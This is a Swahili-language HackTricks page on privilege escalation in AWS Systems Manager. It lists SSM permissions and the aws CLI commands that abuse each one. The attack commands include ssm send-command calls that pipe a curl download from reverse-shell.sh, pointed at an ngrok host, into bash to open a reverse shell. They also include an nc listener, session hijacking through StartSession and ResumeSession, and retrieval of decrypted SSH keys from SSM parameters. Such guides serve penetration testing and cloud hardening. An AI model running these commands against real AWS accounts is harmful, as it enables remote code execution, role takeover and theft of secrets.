AWS - SSM Privesc

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

SSM

Kwa habari zaidi kuhusu SSM angalia:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Mshambuliaji mwenye ruhusa ya ssm:SendCommand anaweza kutekeleza amri kwenye mifano inayotumia Amazon SSM Agent na kudhoofisha Jukumu la IAM linalotumika ndani yake.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Ikiwa unatumia mbinu hii kuinua mamlaka ndani ya kifaa cha EC2 ambacho tayari kimevamiwa, unaweza tu kukamata rev shell kwa ndani kwa kutumia:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Athari Inayowezekana: Privesc moja kwa moja kwa majukumu ya IAM ya EC2 yanayohusishwa na mifano inayotumia Mawakala wa SSM.

ssm:StartSession

Mshambuliaji mwenye ruhusa ya ssm:StartSession anaweza kuanzisha kikao kama cha SSH kwenye mifano inayotumia Amazon SSM Agent na kuathiri jukumu la IAM linalotumika ndani yake.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Matokeo Yanayowezekana: Privesc moja kwa moja kwa EC2 IAM roles zilizowekwa kwenye mifano inayotumika na SSM Agents inayotumika.

Privesc kwenda ECS

Wakati ECS tasks zinaendeshwa na ExecuteCommand imewezeshwa watumiaji wenye ruhusa za kutosha wanaweza kutumia ecs execute-command kutekeleza amri ndani ya kontena. Kulingana na nyaraka hii inafanywa kwa kuanzisha kituo salama kati ya kifaa unachotumia kuanzisha amri ya "exec" na kontena ya lengo na SSM Session Manager. Kwa hivyo, watumiaji wenye ssm:StartSession wataweza kupata kabati ndani ya ECS tasks na chaguo hilo limezimwa tu kwa kutekeleza:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Athari Inayowezekana: Privesc moja kwa moja kwa majukumu ya ECSIAM yanayohusishwa na kazi zinazoendelea na ExecuteCommand imewezeshwa.

ssm:ResumeSession

Mshambuliaji mwenye ruhusa ya ssm:ResumeSession anaweza kuanzisha upya kikao cha aina ya SSH kwenye mifano inayotumia Amazon SSM Agent na hali ya kikao cha SSM iliyovunjika na kuathiri Jukumu la IAM linaloendeshwa ndani yake.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Athari Inayoweza Kutokea: Privesc moja kwa moja kwa majukumu ya EC2 IAM yaliyounganishwa na mifano inayofanya kazi na Mawakala wa SSM wanaofanya kazi na vikao vilivyovunjika.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Mshambuliaji mwenye ruhusa zilizotajwa ataweza kuorodhesha parameta za SSM na kusoma kwa wazi. Katika parameta hizi mara nyingi unaweza kupata habari nyeti kama vile funguo za SSH au funguo za API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Athari Inayowezekana: Pata habari nyeti ndani ya paramita.

ssm:ListCommands

Mshambuliaji mwenye idhini hii anaweza kupata orodha ya maagizo yote yaliyotumwa na kwa matumaini kupata habari nyeti juu yao.

aws ssm list-commands

Athari Inayoweza Kutokea: Pata habari nyeti ndani ya mistari ya amri.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Mshambuliaji mwenye ruhusa hizi anaweza kupata orodha ya amri zote zilizotumwa na kusoma matokeo yaliyozalishwa kwa matumaini ya kupata habari nyeti ndani yake.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Athari Inayoweza Kutokea: Pata habari nyeti ndani ya matokeo ya mistari ya amri.

Codebuild

Unaweza pia kutumia SSM kuingia kwenye mradi wa codebuild unaojengwa:

pageAWS - Codebuild Privesc
Jifunze kuhusu udukuzi wa AWS kutoka mwanzo hadi mtaalamu na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated